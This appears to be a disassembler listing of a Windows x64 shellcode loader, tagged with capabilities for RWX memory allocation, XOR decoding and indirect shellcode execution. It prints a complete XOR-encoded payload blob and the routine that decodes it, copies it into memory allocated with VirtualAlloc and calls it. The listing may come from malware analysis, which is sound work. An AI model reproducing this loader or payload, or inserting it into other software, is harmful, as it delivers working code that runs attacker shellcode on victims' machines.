Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
movdqa xmm2, xmmword [str.aaaaaaaaaaaaaaaa_]
lea rax, [0x140005050]
xor ecx, ecx
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0xb80
jb 0x140001020
movsxd rax, ecx
lea rdi, str.0xbd__0x9__0xc2__0xa5__0xb1__0xa9__0x8d__0x41__0x41__0x41__0x0__0x10__0x0__0x11__0x13__0x10__0x17__0x9__0x70__0x93__0x24__0x9__0xca__0x13__0x21__0x9__0xca__0x13__0x59__0x9__0xca__0x13__0x61__0x9__0xca__0x33__0x11__0xc__0x70__0x88__0x9__0x4e__0xf6__0xb__0xb__0x9__0x70__0x81__0xed__0x7d__0x20__0x3d__0x43__0x6d__0x61__0x0__0x80__0x88__0x4c__0x0__0x40__0x80__0xa3__0xac__0x13__0x0__0x10__0x9__0xca__0x13__0x61__0xca__0x3__0x7d__0x9__0x40__0x91__0x27__0xc0__0x39__0x59__0x4a__0x43__0x4e__0xc4__0x33__0x41__0x41__0x41__0xca__0xc1__0xc9__0x41__0x41__0x41__0x9__0xc4__0x81__0x35__0x26__0x9__0x40__0x91__0xca__0x9__0x59__0x5__0xca__0x1__0x61__0x8__0x40__0x91__0x11__0xa2__0x17__0x9__0xbe__0x88__0x0__0xca__0x75__0xc9__0x9__0x40__0x97__0xc__0x70__0x88__0x9__0x70__0x81__0x0__0x80__0x88__0x4c__0xed__0x0__0x40__0x80__0x79__0xa1__0x34__0xb0__0xd__0x42__0xd__0x65__0x49__0x4__0x78__0x90__0x34__0x99__0x19__0x5__0xca__0x1__0x65__0x8__0x40__0x91__0x27__0x0__0xca__0x4d__0x9__0x5__0xca__0x1__0x5d__0x8__0x40__0x91__0x0__0xca__0x45__0xc9__0x9__0x40__0x91__0x0__0x19__0x0__0x19__0x1f__0x18__0x1b__0x0__0x19__0x0__0x18__0x0__0x1b__0x9__0xc2__0xad__0x61__0x0__0x13__0xbe__0xa1__0x19__0x0__0x18__0x1b__0x9__0xca__0x53__0xa8__0xa__0xbe__0xbe__0xbe__0x1c__0x8__0xff__0x36__0x32__0x73__0x1e__0x72__0x73__0x41__0x41__0x0__0x17__0x8__0xc8__0xa7__0x9__0xc0__0xad__0xe1__0x40__0x41__0x41__0x8__0xc8__0xa4__0x8__0xfd__0x43__0x41__0x62__0x68__0x81__0xe9__0x64__0xc0__0x0__0x15__0x8__0xc8__0xa5__0xd__0xc8__0xb0__0x0__0xfb__0xd__0x36__0x67__0x46__0xbe__0x94__0xd__0xc8__0xab__0x29__0x40__0x40__0x41__0x41__0x18__0x0__0xfb__0x68__0xc1__0x2a__0x41__0xbe__0x94__0x2b__0x4b__0x0__0x1f__0x11__0x11__0xc__0x70__0x88__0xc__0x70__0x81__0x9__0xbe__0x81__0x9__0xc8__0x83__0x9__0xbe__0x81__0x9__0xc8__0x80__0x0__0xfb__0xab__0x4e__0x9e__0xa1__0xbe__0x94__0x9__0xc8__0x86__0x2b__0x51__0x0__0x19__0xd__0xc8__0xa3__0x9__0xc8__0xb8__0x0__0xfb__0xd8__0xe4__0x35__0x20__0xbe__0x94__0xc4__0x81__0x35__0x4b__0x8__0xbe__0x8f__0x34__0xa4__0xa9__0xd2__0x41__0x41__0x41__0x9__0xc2__0xad__0x51__0x9__0xc8__0xa3__0xc__0x70__0x88__0x2b__0x45__0x0__0x19__0x9__0xc8__0xb8__0x0__0xfb__0x43__0x98__0x89__0x1e__0xbe__0x94__0xc2__0xb9__0x41__0x3f__0x14__0x9__0xc2__0x85__0x61__0x1f__0xc8__0xb7__0x2b__0x1__0x0__0x18__0x29__0x41__0x51__0x41__0x41__0x0__0x19__0x9__0xc8__0xb3__0x9__0x70__0x88__0x0__0xfb__0x19__0xe5__0x12__0xa4__0xbe__0x94__0x9__0xc8__0x82__0x8__0xc8__0x86__0xc__0x70__0x88__0x8__0xc8__0xb1__0x9__0xc8__0x9b__0x9__0xc8__0xb8__0x0__0xfb__0x43__0x98__0x89__0x1e__0xbe__0x94__0xc2__0xb9__0x41__0x3c__0x69__0x19__0x0__0x16__0x18__0x29__0x41__0x1__0x41__0x41__0x0__0x19__0x2b__0x41__0x1b__0x0__0xfb__0x4a__0x6e__0x4e__0x71__0xbe__0x94__0x16__0x18__0x0__0xfb__0x34__0x2f__0xc__0x20__0xbe__0x94__0x8__0xbe__0x8f__0xa8__0x7d__0xbe__0xbe__0xbe__0x9__0x40__0x82__0x9__0x68__0x87__0x9__0xc4__0xb7__0x34__0xf5__0x0__0xbe__0xa6__0x19__0x2b__0x41__0x18__0x8__0x86__0x83__0xb1__0xf4__0xe3__0x17__0xbe__0x94
cmp rax, 0xb81
jae 0x1400010a1
add rax, rdi
nop dword [rax]
nop dword [rax + rax]
xor byte [rax], 0x61
lea rax, [rax + 1]
inc ecx
cmp ecx, 0xb81
jb 0x140001090
xor ecx, ecx
mov edx, 0xb81
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400010ea
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001110
mov rcx, rax
lea rdx, [0x1400012c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rcx, rbx
mov rdx, rdi
mov r8d, 0xb81
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret